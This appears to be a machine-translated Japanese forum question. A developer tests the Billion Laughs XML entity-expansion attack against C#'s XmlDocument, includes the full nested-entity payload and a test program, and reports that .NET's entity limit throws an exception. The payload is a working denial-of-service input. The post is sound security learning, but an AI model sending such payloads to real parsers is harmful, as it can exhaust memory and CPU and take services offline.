MSDN magazine pageからXMLコードをテストしようとしていますが、次のコード行は処理時に最大3GBのメモリ使用量を増加させると言います。Billion Laughs AttackはC#で動作するはずですか?
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
私はそれが実際にメモリ内にもCPUの使用率の増加を示したVisual StudioでのXMLファイルにそのテキストを貼り付けてみました。しかし、XMLファイルの代わりにテキストファイルに入れようとしたときに、C#を使用してロードしたところ、影響はありませんでした。
更新:私はLoadXmlメソッドが影響を受けると考えていましたが、処理部分ではないと思います。最初の子を取得しようとしたとき(つまりC#)、MaxCharactersFromEntities
が超過したという例外がスローされました。
アップデート:ここに私のコードも同様です:
using System;
using System.Xml;
namespace BillionLaughsAttack
{
class Program
{
//The file containing the billion laughs mentioned previously
//a txt file: Since an xml file causes visual studio to parse
static String xmlFileLocation = "./MyData/DeepXML.txt";
static void Main(string[] args)
{
String xmlContent = null;
System.IO.StreamReader sr;
System.Xml.XmlDocument document = new XmlDocument();
try
{
sr = new System.IO.StreamReader(xmlFileLocation);
xmlContent = sr.ReadToEnd();
//Load xml containing Billion Laughs Attack (this won't do anything!)
document.LoadXml(xmlContent);
//Proces xml by getting first child (this will cause an exception!)
String val = document.FirstChild.Value;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
}
「C#」でどのように読み込んでいましたか?コードを表示できますか? –
記事はよく書かれていて、*極端な*詳細 - 攻撃の種類、.netのさまざまなバージョンのデフォルト、およびその問題を防ぐ方法について説明しています。正直なところ、あなたの質問に対する答えが含まれていないとは思えません。 – Kobi